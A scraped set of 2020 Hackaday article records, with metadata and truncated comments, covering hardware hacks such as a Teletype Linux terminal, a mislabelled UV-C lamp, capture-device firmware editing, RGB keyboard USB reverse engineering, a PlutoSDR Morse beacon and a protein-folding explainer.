. Taken together, it appears that AR — whether using the beam splitter, projection or VRD approach — still is in a nascent phase. Much like virtual reality (VR) a few years ago, it will take more research and development to come up with something that checks all the boxes for being affordable, robust and reliable.
That said, there definitely is a lot of potential here and I, for one, am looking forward to seeing what comes out of this over the coming years. | 42 | 11 | [
{
"comment_id": "6237455",
"author": "russdill",
"timestamp": "2020-04-15T15:09:40",
"content": "I really hate it anytime some display maker uses phrases like “painting image directly on the retina”. They all boil down to a display emitting light and that light being focused by the lens of the eye, ... | 1,760,373,518.732294 | ||
https://hackaday.com/2020/04/15/logging-into-linux-with-a-1930s-teletype/ | Logging Into Linux With A 1930s Teletype | Dan Maloney | [
"Retrocomputing"
] | [
"60-mA",
"ASCII",
"ascii art",
"baudot",
"current loop",
"level shifting",
"Model 15",
"optoisolator",
"teletype",
"transceiver"
] | Buried deep within all UNIX-based operating systems are vestiges of the earliest days of computing, when “hardware” more often than not meant actual mechanical devices with cams and levers and pulleys and grease. But just because UNIX, and by extension Linux, once supported mechanical terminals
doesn’t mean that getting a teletype from the 1930s to work with it is easy
.
Such was the lesson learned by [CuriousMarc] with his recently restored Model 15 Teletype; we covered
a similar Model 19 restoration
that he tackled. The essential problem is that the five-bit Baudot code that they speak predates the development of ASCII by several decades, making a converter necessary. A task like that is a perfect job for an Arduino — [Marc] put a Mega to work on that — but the interface of the Teletype proved a bit more challenging. Designed to connect two or more units together over phone lines, the high-voltage 60-mA current loop interface required some custom hardware. The testing process was fascinating, depending as it did on an old Hewlett-Packard serial signal generator to throw out a stream of five-bit serial pulses.
The big moment came when he used the Teletype to log into Linux on a (more or less) modern machine. After sorting out the mysteries of the
stty
command, he was able to log in, a painfully slow process at 45.5 bps but still a most satisfying hack. The ASCII art — or is it Baudot art? — is a nice bonus.
We love restorations like these, and can practically smell the grease and the faint tang of ozone around this device. We’re not thrilled by the current world situation, but we’re glad [CuriousMarc] was able to use the time to bring off a great hack that honors another piece of our computing history.
Thanks for the tip, [Alex]! | 47 | 22 | [
{
"comment_id": "6237407",
"author": "Antron Argaiv",
"timestamp": "2020-04-15T12:12:55",
"content": "Nothing like the rhythmic sound of an old Teletype. Of course, it does get old after a while. But you do have to respect the engineers who converted serial data to printed text totally mechanically... | 1,760,373,518.867214 | ||
https://hackaday.com/2020/04/15/buyer-beware-this-led-bulb-sold-as-germicidal-doesnt-emit-uv-c/ | Buyer Beware: This LED Bulb Sold As Germicidal Doesn’t Emit UV-C | Voja Antonic | [
"Misc Hacks"
] | [
"germicidal",
"ultraviolet",
"UV-C"
] | Germicidal lamps are designed to destroy viruses and bacteria using ultraviolet light. But not just any UV light will work, and I came across an example of a lamp that was advertised as germicidal but a few things just weren’t right about it.
This is an
actual UV-C LED made by CEL
(PDF) that emits 275nm. Note the clear glass that covers the LED.
I ordered the UV-C germicidal LED lamp on Amazon, and received it a few days ago. It felt the suspicion from the first moment: playing around with a lot of different UV LEDs, I’ve learnt how the parasitic visible light from different UV ranges should look like to human eye. Also, proper UV-C LED lenses like the one shown here are made of quartz glass. Compare that to the image at the top of the article of the bulb I received that has a soft plastic lens, which is possibly opaque and degradable in the far UV range. The most important clue that something was wrong was the price. It’s hard to imagine that a UV-C LED lamp with the 253.7nm wavelength, made of more than 200 LEDs and in such a robust metal case, can cost only $62.99.
Although there was the risk of being unjust, I decided to return the product. In my message I bluffed that I measured the spectra of the lamp with a spectral emission meter, and that its output was not in the UV-C range. The next day I received confirmation that the bluff paid off: the seller replied that they advertised the product according to information from the supplier, and that the incorrect information was caused by their lack of understanding of product information.
They also attached the official datasheet
with the measured wavelength: it was not 253.7 nm, as advertised, but with the peak at 394.3 nm, and the dominant wavelength at 413.9 nm. It was not in the far UV-C, but in the near UV-A range and not at all useful for destroying germs! The seller promised that the product would be removed from their store, and kept the promise.
If you are thinking about buying a UV-C LED lamp, maybe you should get the good old CFL germicidal lamp. I don’t think that viruses care too much about the new technology. | 131 | 42 | [
{
"comment_id": "6237370",
"author": "mmmlinux",
"timestamp": "2020-04-15T08:08:45",
"content": "Should probably have a disclaimer that UV-C is fairly dangerous and care should be taken to protect your self.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "623... | 1,760,373,519.076088 | ||
https://hackaday.com/2020/04/14/the-drone-that-flies-in-any-orientation/ | The Drone That Flies In Any Orientation | Danie Conradie | [
"Robots Hacks"
] | [
"drone",
"hexacopter",
"multi rotor",
"tilt rotor"
] | Modern radio-controlled multi-rotor drone can be incredibly agile, but can only make orientation changes around the yaw axis while remaining in approximately the same position. Researchers at ETH Zurich have again built and tested
multirotor with controllable motion six degrees of freedom
, this time dramatically improving efficiency.
We covered a
similar design
from ETH Zurich previously which was hexacopter with arms with limited rotation. This new design is also a hexacopter, but with 2 coaxial motors on each rotating arm. Each arm has an increased range of rotation over the previous design, beyond 360 degrees. With the range of rotation and the very complex control system, the drone can efficiently fly in any orientation, while still being able to apply effective torque or linear force in any direction. This opens up a lot of possibilities for tasks that drones can perform, like close-up industrial inspection, using tools or pulling cables while keeping the rotors clear.
The arms do have a limited amount of rotation before winding the motor cable tight, but the control system keeps track of this and can unwind during or after movement. See the video after the break to see it in action. The complete
scientific paper
is not light reading, but definitely interesting. We’re looking forward to seeing if and when these type designs get used in real-world applications.
There are without a doubt a lot of drones in our future, and probably the most successful project to date is the
Zipline fixed-wing drones
in Rwanda and Ghana, which have made over 35000 deliveries of emergency medical supplies since 2016.
Thanks [
Qes
] for the tip! | 8 | 2 | [
{
"comment_id": "6237359",
"author": "Gregg Eshelman",
"timestamp": "2020-04-15T07:07:38",
"content": "Whatever happened to using variable/reversible pitch rotors built using model helicopter parts?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6237368",
... | 1,760,373,518.905928 | ||
https://hackaday.com/2020/04/14/printed-brain-implants-give-new-meaning-to-neuroplasticity/ | Printed Brain Implants Give New Meaning To Neuroplasticity | Kristina Panos | [
"3d Printer hacks",
"Medical Hacks"
] | [
"3d printing",
"brain implants",
"conductive polymer",
"epilepsy",
"hydrogel",
"Parkinson's disease"
] | 3D printing has opened up a world of possibilities in plastic, food, concrete, and other materials.
Now, MIT engineers have found a way to add brain implants to the list
. This technology has the potential to replace electrodes used for monitoring and implants that stimulate brain tissue in order to ease the effects of epilepsy, Parkinson’s disease, and severe depression.
Existing brain implants are rigid and abrade the grey matter, which creates scar tissue over time. This new material is soft and flexible, so it hugs the wrinkles and curves. It’s a conductive polymer that’s been thickened into a viscous, printable paste.
The team took a conductive liquid polymer (water plus nanofibers of a polystyrene sulfonate) and combined it with a solvent they made for a previous project to form a conductive, printable hydrogel.
In addition to printing out a sheet of micro blinky circuits, they tested out the material by printing a flexible electrode, which they implanted into a mouse. Amazingly, the electrode was able to detect the signal coming from a single neuron. They also printed arrays of electrodes topped with little wells for holding neurons so they can study the neurons’ signals using the electrode net underneath.
This particular medical printing hack is pretty far out of reach for most of us, but not all of them are.
Fire up that printer and check out this NIH-approved face shield design
. | 4 | 3 | [
{
"comment_id": "6237337",
"author": "Comedicles",
"timestamp": "2020-04-15T03:27:17",
"content": "“This particular medical printing hack is pretty far out of reach for most of us” not as far out as getting into your brain!",
"parent_id": null,
"depth": 1,
"replies": [
{
"c... | 1,760,373,519.119273 | ||
https://hackaday.com/2020/04/14/robot-arm-sucks-in-a-good-way/ | Robot Arm Sucks In A Good Way | Al Williams | [
"Arduino Hacks",
"Robots Hacks"
] | [
"robot arm",
"robotic arm",
"suction",
"vacuum"
] | Building a robot arm is fun, but no longer the challenge it once was. You can find lots of plans and kits, and driving the motors is a solved problem. However, there is always one decision you have to make that can be a challenge: what effector to put on the end of it. If you are [MertArduino] the answer is to
put suction at the end
. If you need to grab the right things, this could be just the ticket for reliably lifting and letting go. You can see a video of the arm in action, below.
The arm itself is steel with four servo motors and comes in a kit. The video shows the arm making a sandwich under manual control. We suspect he might have put it under Arduino control but there’s no sudo for making sandwiches.
An air pump and a solenoid valve round out the arm. An Arduino reads some pots to control the servo motors on the arm. However, the air pickup is manually controlled. It wouldn’t be very hard to use a FET or a transistor to put that under Arduino control, as well.
This made us think of
air tweezer designs
we’ve seen in the past. We also wondered if the arm was robust enough for a
pick and place setup
. | 5 | 4 | [
{
"comment_id": "6237315",
"author": "j s",
"timestamp": "2020-04-15T00:07:14",
"content": "https://xkcd.com/149/",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6237316",
"author": "RW ver 0.0.1",
"timestamp": "2020-04-15T00:16:07",
"... | 1,760,373,519.163901 | ||
https://hackaday.com/2020/04/14/capture-device-firmware-hack-unlocks-all-the-pixels/ | Capture Device Firmware Hack Unlocks All The Pixels | Tom Nardi | [
"Video Hacks"
] | [
"capture device",
"Elgato",
"ffmpeg",
"firmware",
"hdmi",
"hexdump"
] | According to [Mike Walters], the Elgato Cam Link 4K is a great choice if you’re looking for a HDMI capture device that works under Linux. But the bad news is, it wouldn’t work with any of the video conferencing software he tried to use it with because they expect the video stream to be in a different pixel format. For most people, that would probably have been the end of the story. But you’re reading this on Hackaday,
so obviously he didn’t give up without a fight
.
Early on, [Mike] found there was a software workaround for this exact issue. The problem isn’t that the Elgato can’t generate the desired format, it’s that the video conferencing programs just don’t know how to ask it to switch modes. The software fix is to create a dummy Video4Linux device and use that to change the format in real-time using
ffmpeg
. It’s a clever trick if you’ve got a conference call coming up in a few minutes, but it does waste CPU resources and adds some unnecessary hoop jumping.
Putting the device into bootloader mode.
Inspired by the software fix, [Mike] wondered if there was a way he could simply force the Elgato to output video in the desire format by default. He found a firmware dump for the device online, and found where the pixel formats were referenced by searching for their names in ASCII with
hexdump
. Looking through the source for the Linux USB Video Class (UVC) driver, he was then able to determine what the full 16 byte sequence should be for each video mode was so he could zero out the unwanted ones. Then it was just a matter of flashing his modified firmware back to the hardware.
But there was a problem: with the modified firmware installed, the device stopped working. After investigating the obvious culprits, [Mike] broke out the oscilloscope and hooked it up to the Elgato’s flash chip. It turns out that
due to a bug in the program he was using
, the SPI erase commands weren’t getting sent during the flash. This lead to corrupted firmware which was keeping the Elgato from booting. After making a pull request with his fixes, the firmware flashed without incident and the capture device now does double-duty as a webcam when necessary.
We could certainly think of
easier and quicker was to roll your own webcam
, but we’re glad that [Mike] took the time to modify his Elgato Cam Link 4K and document it. It’s a fantastic example of practical firmware hacking, even if you’re not in the market for a new high-definition video conferencing rig. | 7 | 3 | [
{
"comment_id": "6237281",
"author": "PMG",
"timestamp": "2020-04-14T20:11:18",
"content": "Lockdown is creating a wave of webcam hacks as people look to improve their Jitsi/Zoom setup from the default potato quality.I recently picked the El Gato HD60S+ precisely because of this issue with the Cam L... | 1,760,373,519.215698 | ||
https://hackaday.com/2020/04/14/reverse-engineering-an-rgb-keyboard-under-linux/ | Reverse Engineering An RGB Keyboard Under Linux | Tom Nardi | [
"Peripherals Hacks"
] | [
"hid",
"linux",
"reverse engineering",
"RGB LED",
"usb",
"virtual machine",
"wireshark"
] | Hardware support under Linux is far better than it ever has been in the past. These days, most things “just work” out of the box, and you
probably
won’t have to compile any custom kernel modules. Certainly a far cry from where things were a decade ago. But that doesn’t mean everything will work to 100% of its abilities. Take for example, the Duck keyboard that [Cynthia Revström] has. Sure it works as a basic keyboard under any OS, but
getting those fancy RGB LEDs working is another story entirely
.
Don’t get the wrong idea here, [Cynthia] isn’t just trying to get the keyboard to flash along to music; the goal was to use the RGB lighting of the Ducky keyboard for notifications that the user can’t possibly ignore. Even the most laser-focused among us would have a hard time not noticing that the entire keyboard is blinking red. But the “DuckyRGB” software that you need to do something like that is Windows-only and apparently distributed via a sketchy Google Drive link. Yikes.
The first step to creating an alternative was to spin up a Windows VM and install DuckyRGB. From there, Wireshark could listen in between the virtual computer and the Ducky keyboard to see what the software was sending over the wire. After identifying a version number being sent in the clear, [Cynthia] was able to isolate the LED commands by searching for the hex color codes. From there, it was a relatively simple matter of writing some glue code to connect it up to an alert service and get notifications going.
There was only one problem; the keyboard didn’t work anymore. Turns out the tool that [Cynthia] wrote to control the keyboard’s LEDs was claiming the device so the kernel couldn’t access it for normal input.
It took a detour with HIDAPI
to get everyone playing together nicely, and now changing the color of your Ducky keyboard on Linux doesn’t turn it into a paperweight.
Even if you don’t have a Ducky keyboard, or aren’t particularly interested in having its LEDs blinked at you if you do, this project is a phenomenal example of practical USB reverse engineering. [Cynthia] says the inspiration for this project came from friend [Ben Cox],
who’s write-up on creating USB userspace drivers we covered last year
. If you’ve got and old USB gadget with Windows-only drivers, maybe it’s time you take a crack at unlocking it. | 5 | 4 | [
{
"comment_id": "6237307",
"author": "eadm",
"timestamp": "2020-04-14T22:25:34",
"content": "Tecset Eletrônicahttps://tecseteletronica.loja2.com.br/",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6237310",
"author": "TREZA",
"timestamp": "2020-04-14T22... | 1,760,373,519.260804 | ||
https://hackaday.com/2020/04/14/pluto-might-not-be-a-planet-but-it-is-an-sdr-transceiver/ | Pluto Might Not Be A Planet, But It Is An SDR Transceiver | Al Williams | [
"Hackaday Columns",
"Original Art",
"Radio Hacks",
"Slider"
] | [
"Analog devices",
"gnu radio",
"GnuRadio",
"Pluto",
"sdr",
"software-defined radio"
] | Many of the SDR projects we see use a cheap USB dongle. They are great, but sometimes you want more and — especially — sometimes you want to transmit. The Analog Devices ADALM-Pluto SDR is easily available for $200 and sometimes as low as $100 and it both transmits and receives using an Analog AD9363 and a Zynq FPGA. Although you normally use the device to pipe IQ signals to a host computer, you can run SDR applications on the device itself. That requires you to dig into the Zynq tools, which is fun but a topic for another time. In this post, I’m going to show you how you can use GNU Radio to make a simple Morse code beacon in the 2m ham band.
I’ve had one on my bench for quite a while and I’ve played with it a bit. There are several ways to use it with GNU Radio and it seems to work very well. You have to hack it to get the frequency range down a bit. Sure, it might not be “to spec” once you broaden the frequency range, but it seems to work fine. Instead of working from 325 MHz to 3,800 MHz with a 20 MHz bandwidth, the hacked device transceives 70 MHz to 6,000 MHz with 56 MHz bandwidth. It is
a simple hack
you only have to do once. It tells the device that it has a slightly better chip onboard and our guess is the chips are the same but sorted by performance. So while the specs might be a little off, you probably won’t notice.
Prep
The Pluto has several different ways you can communicate with it. For one, it looks like a drive plugged into your PC. That’s handy for updating firmware and things like that. There’s also a network connection that uses USB for the physical layer. This lets you move data back and forth or even get a command prompt.
Of course, if you want to use it with GNU Radio, you’ll need blocks to talk to the input and output. There are a few choices there, as well. Analog Devices maintains
two different sets of blocks
. The one that appears older is the PlutoSDR block but the IIO blocks seem newer and support a bunch of devices.
Unfortunately, building these blocks can be painful. I didn’t have any problem using the released version along with the GNURadio in the Ubuntu repos. But when I switched to the new release candidate, I couldn’t get it to build. It looked like I would need to manually build some libraries to get it all to work so I just stuck with the older version in the repos.
Changed the Same
For the receiver, if you have the IIO or Pluto blocks built, it is pretty much the same as you would do with any other SDR receiver. Sure, there are a few oddities. For example, since the device is connected via a network, you have to provide a connect string. If you can ping
pluto.local
, you can use “ip:pluto.local” as the name. If you don’t have mDNS set up, you might need to use the IP address of the box.
Everything else is the same. You’ll want to respect the minimum and maximum sample rates, of course (have a look at the
detailed specs
). If you set the gain to auto, you’ll get errors trying to set the gain manually. You’ll also get them if you set the gain over the limit, around 70 dB.
Of course, the difference between the Pluto and your garden variety SDR dongle is that it has a transmitter, but if you know a little bit about radio, you won’t find transmission very confusing. IQ goes in and very low level RF comes out.
A Beacon for Pluto
I decided to put together a Morse code beacon for the two meter band. I’m a ham radio operator and the beacon will send my call sign, that’s perfectly legal. It turned out to show quite a few nuances of how GNURadio works.
You can find the
grc
file on
GitHub
. You’ll notice that the transmit part is pretty simple. There’s the RF sink, of course, and a rational resampler to convert the CW tone from a 32 kHz sample rate to the higher sample rate used by the sink. The Pluto can only accept certain sample rates, and there’s no use generating a sidetone at high sample rates, so the resampler converts the lower sample rate to the higher rate. You can think of the new sample rate as
interpolation*(old_sample_rate/decimation)
.
The real trick is how to get the Morse code you want to send to modulate the sine wave. There are probably many ways to do it, but I used a vector source. I have to confess I lifted this idea from [argilo] who has a lot of
SDR examples on GitHub
.
Vectors
Even though newer versions of GNURadio have other mechanisms, in general, everything in GNURadio is a stream. So I needed a stream that looks like the code I want to send. The source has a stream where a 0 represents silence and a 1 represents tone. So a single 1 is a dit and three in a row make a dah or dash. The 0’s combine to make different size spaces. Now there are two problems. Getting the rate right and coming up with the vector data which is surprisingly tedious.
Fixing the rate is easy. The vector source gets you one sample each time someone gets one, which amounts to the sample rate. However, a dit at 1/32000 gives you about 31 µs, which is pretty fast. The repeat block interpolates the samples. All that means is that for each sample it repeats it a certain number of times before it gets another sample from the vector. You can adjust the speed by tweaking the interpolation.
The formula for the length of a code element in seconds is about
1.2/speed
where the speed is in words per minute. There is a GUI widget to select the speed. The formula in the repeat block is:
int( samp_rate*(1.2/speed))
. Just remember that slowing down the speed also increases the delay at the end of the message.
What that means is that a single 1 in the vector turns into a bunch of 1s at the output of the repeat block. You multiply the sine wave by these 0s and 1s, and you are good to go. That still leaves getting the data together.
Lazy
True, you could just do it by hand, but that’s surprisingly tedious. I decided to take the time it would take me to get it right and write
a little C program
to generate the vector. Truth is, you could do the interpolation in the C code, but that would make very long vectors and it would also make it harder to change the speed at run time.
The C code does let you tweak what you put in for the code elements and the spaces. It is a simple program with no frills, but it gets the job done. You can redirect a file in and redirect the output file since there are no command line options.
I manually added a bunch of zeros at the end to space out the beacon. It might be a nice idea to add that to the program so you could specify a gap in seconds and the sample rate and it would add the right number of zeros. If you make that modification, don’t forget that the sample rate is divided by the repeat block’s rate.
Sidetone
I decided I wanted to have audio come out of the speakers when transmitting. There are at least two ways to do that. I could use another signal source to generate the tone and gate it with the stream of 1s and 0s. However, since the modulating tone is already at 1 kHz, it made sense to just pipe it to the audio. A complex to real block gets things set up to go to an audio sink that connects to the soundcard. I put a fast multiply constant in that multiplies the tone by 1. This would allow you to control the volume, but I only wanted to mute it, so a GUI widget can change the constant between 0 and 1.
In Use
If you want to try this, you should change my callsign on the beacon. You’ll also want to pick a good frequency that isn’t in use in your area, although the output from the Pluto is pretty weak and unlikely to interfere with a repeater that isn’t within walking distance.
If you run the flowgraph, you’ll hear the beacon’s sidetone from your computer speakers. If you have an FM receiver you should also be able to hear the beacon on the radio if you get the antennas close together. Because the audio tone is on and off, you may want to turn your squelch all the way down to hear the entire dot or dash since the squelch will usually cut a little off at the front end.
The user interface is ugly, but it could be made nicer with the GUI Hint fields and some attention. If you haven’t used those before, check out
our GNURadio tutorial series
.
I got tired of the beacon always transmitting when I just wanted to work on the code portion of it, so I added another multiply and a widget as an on-off switch so the output to the transmitter can be forced to zero without stopping the sidetone.
The truth is, the beacon would be better if I did a little waveshaping on the modulating pulses but for this low power beacon, it isn’t a big deal. You may also want to tweak the CW spacing to be more to your preference which is easy to do with the C program.
Value
For experimenting, the Pluto is great. I sure wish it was able to tune below 30 MHz, though. However, if you have plans to use it for ham radio operations, you’ll probably want some filtering on the output and definitely some amplification. The little antennas provided are not going to do anything practical, either.
If you want more about GNURadio, we did
some videos about using it you
might like. Keep in mind you can use it for
signal processing audio
, too.
The photos of the hardware in this post are all from the
Analog Devices Wiki
. | 17 | 12 | [
{
"comment_id": "6237303",
"author": "Steven13",
"timestamp": "2020-04-14T22:10:31",
"content": "Based on my first glance at the headline I had assumed that someone had successfully bounced a signal off of pluto. Which would be insane. I wonder if anyone has bounced a signal off something further th... | 1,760,373,519.316988 | ||
https://hackaday.com/2020/04/14/pcb-bring-up-hack-chat/ | PCB Bring-Up Hack Chat | Dan Maloney | [
"Hackaday Columns"
] | [
"assembly",
"augmented reality",
"bring-up",
"inspection",
"magic smoke",
"pcb",
"printed circuit",
"testing",
"The Hack Chat"
] | Join us on Wednesday, April 15 at noon Pacific for the
PCB Bring-Up Hack Chat
with
Mihir Shah
and
Liam Cadigan
!
The printed circuit design process is pretty unique among manufacturing processes. Chances are pretty good that except for possibly a breadboard prototype, the circuit that sits before you after coming back from assembly has only ever existed in EDA software or perhaps a circuit simulator. Sure, it’s supposed to work, but will it?
You can — and should — do some power-off testing of new boards, but at some point you’re going to have to flip the switch and see what happens. The PCB bring-up process needs to be approached carefully, lest debugging any problems that crop up become more difficult than need be. Mihir and Liam from
inspectAR
will discuss the bring-up process in depth, offering tips and tricks to make things go as smoothly as possible, as well as demonstrating how the inspectAR platform can fit into that process, especially with teams that are distributed across remote sites. If your board releases the Magic Smoke, you’ll want to know if it’s your design or an assembly issue, and an organized bring-up plan can be a big help.
Note: Liam will be doing
a simulcast web demo of inspectAR via Zoom
.
Our Hack Chats are live community events in the
Hackaday.io Hack Chat group messaging
. This week we’ll be sitting down on Wednesday, April 15 at 12:00 PM Pacific time. If time zones have got you down, we have
a handy time zone converter
.
Click that speech bubble to the right, and you’ll be taken directly to the Hack Chat group on Hackaday.io. You don’t have to wait until Wednesday; join whenever you want and you can see what the community is talking about. | 0 | 0 | [] | 1,760,373,519.50207 | ||
https://hackaday.com/2020/04/14/edge-lit-7-segments-clock-the-new-normal/ | Edge-Lit 7-Segments Clock The New Normal | Kristina Panos | [
"clock hacks"
] | [
"7 segment",
"acrylic",
"edge-lit",
"ESP8266",
"ItsyBitsy"
] | People keep saying that time has lost all meaning now, but we’re still over here divvying up the days with hacks. Most of the hacks you see here are open source. But if you want something even more transparent to meter out the meaninglessness,
we invite you to make one of these clearly awesome see-through clocks
, which happens to be both.
A word of warning though — according to [GeekMomProjects], this is an incredibly fiddly build with tight tolerances everywhere that acrylic meets acrylic or an LED strip. We can see how it might be like forcing fragile puzzle pieces together. Since the whole thing is crystal clear acrylic, light is going to go everywhere.
[GeekMomProjects] cleverly blocked the escaping light by painstakingly applying non-conductive adhesive foil to the edges of all the smaller pieces. In spite of all that work, we think it would be worth it to have such a fantastic timepiece glowing away the hours somewhere in the house.
Electronically speaking, this beauty is pretty simple. The lights run off of an ItsyBitsy M4 Express, and the time is separately fetched with an ESP8266. [GeekMomProjects] had so much fun that she made one with seconds and one without. Check out their RGB dance routine after the break.
If you prefer your blinky 7-segment clocks a bit more utilitarian,
here’s a clock made of shelves
. | 6 | 4 | [
{
"comment_id": "6237253",
"author": "Jan",
"timestamp": "2020-04-14T18:04:42",
"content": "Simple but very effective, brilliant!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6237272",
"author": "Luke",
"timestamp": "2020-04-14T19:06:21",
"conten... | 1,760,373,519.35959 | ||
https://hackaday.com/2020/04/14/so-what-is-protein-folding-anyway/ | So What Is Protein Folding, Anyway? | Dan Maloney | [
"chemistry hacks",
"Featured",
"Medical Hacks",
"Original Art",
"Slider"
] | [
"Covid-19",
"dna",
"folding at home",
"folding@home",
"protein folding",
"rna"
] | The current COVID-19 pandemic is rife with problems that hackers have attacked with gusto. From
3D printed face shields
and
homebrew face masks
to
replacements for full-fledged mechanical ventilators
, the outpouring of ideas has been inspirational and heartwarming. At the same time there have been many efforts in a different area: research aimed at fighting the virus itself.
Getting to the root of the problem seems to have the most potential for ending this pandemic and getting ahead of future ones, and that’s the “know your enemy” problem that the distributed computing effort known as
Folding@Home
aims to address. Millions of people have signed up to donate cycles from spare PCs and GPUs, and in the process have created the largest supercomputer in history.
But what exactly are all these exaFLOPS being used for? Why is protein folding something to direct so much computational might toward? What’s the biochemistry behind this, and why do proteins need to fold in the first place? Here’s a brief look at protein folding: what it is, how it happens, and why it’s important.
First Things First: What Do Proteins Do?
Proteins are crucial to life. They provide not only the structural elements of the cell, but also serve as the enzymes that catalyze just about every biochemical reaction. Proteins, whether structural or enzymatic, are long chains of amino acids that are linked end-to-end in a specific sequence. The functions of proteins are determined by which amino acids are present at various locations on and in the protein. If a protein needs to bind to a positively charged molecule, for example, the binding site might be full of negatively charged amino acids.
To understand how proteins achieve the structure that defines their function, a quick review of the basics of molecular biology and the flow of information in the cell is in order.
The production, or
expression
, of a protein begins with the process of
transcription
. During transcription, the double-stranded DNA that holds the genetic information in a cell is partially unwound, exposing the nitrogenous bases of the DNA to an enzyme called RNA polymerase, often referred to as RNAPol. RNAPol’s job is to make an RNA copy, or transcript, of the gene. This copy of the gene, called messenger RNA or mRNA, is a single-stranded molecule that is perfect for directing the protein manufacturing machinery of the cell, the ribosomes, in a process called
translation
.
Ribosomes act like a jig, taking the mRNA template and matching it up to other small bits of RNA called transfer RNA, or tRNA. Each tRNA has two main active areas — one that has a three-base section called an anticodon that matches up with complementary codons on the mRNA, and a region for binding an amino acid that’s specific for that codon. During translation, tRNA molecules randomly try to bind to the mRNA in the ribosome using their anticodon. When a match is made, the tRNA molecule attaches its amino acid to the previous amino acid, forming another link in the chain of amino acids coded for by the mRNA.
This sequence of amino acids is the first tier of structural hierarchy in a protein, and is referred to as the protein’s
primary structure
. The entire three-dimensional structure of the protein, and indeed its function, comes directly from the primary structure through the different properties of each of those amino acids and how they interact with each other. If it weren’t for these chemical properties and interactions between amino acids, polypeptides would just remain linear sequences with no three-dimensional structure. We see this all the time in cooking, which is the heat-induced denaturation of the three-dimensional structure of proteins.
Long-Distance Connections Between Parts of Proteins
The level of structure beyond the primary structure is cleverly called the
secondary structure
, and includes fairly short-range hydrogen bonds between amino acids. These stabilizing interactions form two main motifs: the alpha-helix and the beta-pleated sheet. The alpha-helix forms a tightly coiled polypeptide region, while the beta-sheet is a flat, broad area. Both motifs have structural properties as well as functional properties, depending on the characteristics of the amino acids within them. For example, if an alpha-helix has primarily hydrophilic amino acids within it, like arginine and lysine, it’s likely to be involved in aqueous reactions.
alpha-helix and beta-sheet motifs in proteins. The hydrogen bonds form as the protein is being expressed. Source:
OpenStax Biology
Proteins combine these two motifs, as well as variations on their themes, to form the next level of structure, the
tertiary structure
. Unlike the simple motifs of the secondary structure, tertiary structure tends to be driven more by hydrophobicity. Most proteins tend to have highly hydrophobic amino acids, like alanine and methionine, at their core, where water is excluded due to the “greasy” nature of the residues. These structures will often show up in transmembrane proteins, which are embedded in the lipid bilayer membrane surrounding cells. The hydrophobic domains on the protein are thermodynamically stable inside the fatty interior of the membrane, while the hydrophilic regions of the protein are exposed to the aqueous environment on either side of the membrane.
Tertiary structures also tend to be stabilized by long-distance bonds between amino acids. The classic example of this is the disulfide bridge, which often occurs between two cysteine residues. If you’ve ever been to a hair salon and smelled the slight rotten-egg stink of someone getting a perm, you’re witnessing the partial denaturation of the tertiary structure of keratin in hair by the reduction of disulfide bonds using sulfur-containing thiol compounds.
Tertiary structure is stabilized by long-distance interactions, like hydrophobicity and disulfide bonds. Source:
OpenStax Biology
Disulfide bridges can occur between cysteine residues in the same chain of polypeptides, or between cysteines locate in completed different chains. Interactions between different polypeptide chains are the fourth level of protein structure, the
quaternary structure
. The hemoglobin in your blood is a perfect example of quaternary structure. Each hemoglobin molecule is formed by four identical globin protein subunits, each of which is held in a specific conformation by disulfide bridges within the polypeptide as well as bonding with the iron-containing heme molecule. All four globin subunits are bound together by intermolecular disulfide bridges, and the entire molecule acts as one to bind up to four oxygen molecules at once, and to release them when needed.
Modeling Structures In a Search for Solutions to the Illness
Polypeptide chains begin folding into their final shape during translation, as the growing chain is extruded from the ribosome, similar to the way a piece of straightened memory wire can snap into a complex shape when heated. But as is always the case with biology, there’s much more to the story.
In many cells, there is extensive editing of the transcribed genes that occurs before translation, which alters the primary structure vastly compared to the raw base sequence of the gene. The translational machinery also often enlists the help of molecular chaperones, proteins that temporarily bind to the nascent polypeptide chain to prevent it from taking an intermediate structure that would prevent it from taking its final shape.
All this is to say that predicting the final shape of a protein from the primary structure is not trivial. For decades, the only way to explore protein structure was with physical methods like X-ray crystallography. It wasn’t until the late 1960s that biophysical chemists started building computational models for protein folding, focused mainly on modeling the secondary structure of a protein. These methods and their descendants take a vast amount of input data in addition to the primary structure sequence, such as tables of bond angles between amino acids, lists of hydrophobicity, charge states, and even conservation of structure and function over evolutionary timescales to make a best guess at what a protein is going to look like.
Current computational methods for secondary structure prediction, like those running on Folding@Home’s network right now, run at about 80% accuracy, which is pretty good considering the complexity of the task. The data generated by the folding prediction models for proteins like the SARS-CoV-2 spike protein will be coupled with physical study data to come up with a firm structure for the protein, and perhaps give us insights into how the virus binds to the human angiotension converting enzyme-2 (ACE-2) receptors that line the respiratory tract, which is its path into the body. If we can figure out the structure, we might be able to find drugs to block binding and prevent infection.
Protein folding research is central to our understanding of so many diseases and infections that even once we figure out a way to beat COVID-19, the Folding@Home network, which as seen such explosive growth over the past month, will not go idle for long. The network is a research tool well-suited to exploring protein models central to dozens of diseases that are related to misfolded proteins, such as Alzheimer’s and variant Cruetzfeldt-Jakob disease, often incorrectly called mad-cow disease. And when the next virus inevitably comes along, all that horsepower, and all the experience being gained in managing it, will be ready to go again. | 26 | 10 | [
{
"comment_id": "6237196",
"author": "uda-thortit",
"timestamp": "2020-04-14T14:10:58",
"content": "I gather that, in addition to actual protein folding simulations, the folding@home system is also being used to do other covid-19 related computations (like in-silico docking of potential small-molecu... | 1,760,373,519.566941 | ||
https://hackaday.com/2020/04/16/google-and-apple-reveal-their-corona-tracing-plans-we-kick-the-tires/ | Google And Apple Reveal Their Coronavirus Contact Tracing Plans: We Kick The Tires | Elliot Williams | [
"Cellphone Hacks",
"Current Events",
"Featured",
"Medical Hacks",
"Original Art",
"Slider"
] | [
"cellphone",
"coronavirus",
"Covid-19",
"health",
"privacy",
"safety",
"tracing"
] | Google and Apple have joined forces to issue a common API that will run on their mobile phone operating systems, enabling applications to track people who you come “into contact” with in order to slow the spread of the COVID-19 pandemic. It’s an extremely tall order to do so in a way that is voluntary, respects personal privacy as much as possible, doesn’t rely on potentially vulnerable centralized services, and doesn’t produce so many false positives that the results are either ignored or create a mass panic. And perhaps much more importantly, it’s got to work.
Slowing the Spread
As I write this, the COVID-19 pandemic seems to be
just turning the corner
